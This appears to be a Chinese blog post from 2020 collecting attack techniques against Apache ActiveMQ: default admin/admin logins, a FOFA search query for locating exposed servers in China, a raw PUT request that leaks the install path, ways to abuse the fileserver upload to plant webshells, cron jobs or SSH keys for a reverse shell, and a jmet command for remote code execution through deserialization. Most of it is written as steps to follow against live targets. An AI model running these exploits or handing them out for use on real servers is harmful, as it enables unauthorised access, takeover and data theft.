Active MQ未授权访问

ActiveMQ是一款流行的开源消息服务器。默认情况下,ActiveMQ服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。
一、未授权访问
默认端口:8161
401默认密码:admin/admin
fofa:body="ActiveMQ"&&port=8161&&country=CN
FOFA搜索
401认证
默认密码admin/admin
默认账号密码

二、ActiveMQ物理路径泄漏漏洞
ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(/fileserver/a../../%08/..%08/.%08/%08)(即不存在的目录),Response会返回相应的物理路径信息:
Request Raw:

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4
test

Response Raw:

HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)

三、文件上传
背景介绍:
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷。
使用条件:
ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。
写入的方法:

  • 写入webshell(方便快捷、但需要登录admin和api两个应用,并且不解析jsp)
  • 写入cron或ssh key等文件(可直接反弹shell,但需root权限)
  • 写入jar或jetty.xml等库和配置文件(写入jar需要jar后门,写入xml配置文件需要adctivemq的绝对路径)

四、反序列化
影响范围:Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞
原理:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
默认端口:61616
web端口:8161

exp:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "yourcommand" -Yp ROME your-ip 61616

使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)

此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:
消息队列.png

当管理员点击查看消息后,命令执行成功。
可将command换成反弹shell语句。

posted @ 2020-04-07 15:38  人间修行  阅读(2342)  评论(0编辑  收藏  举报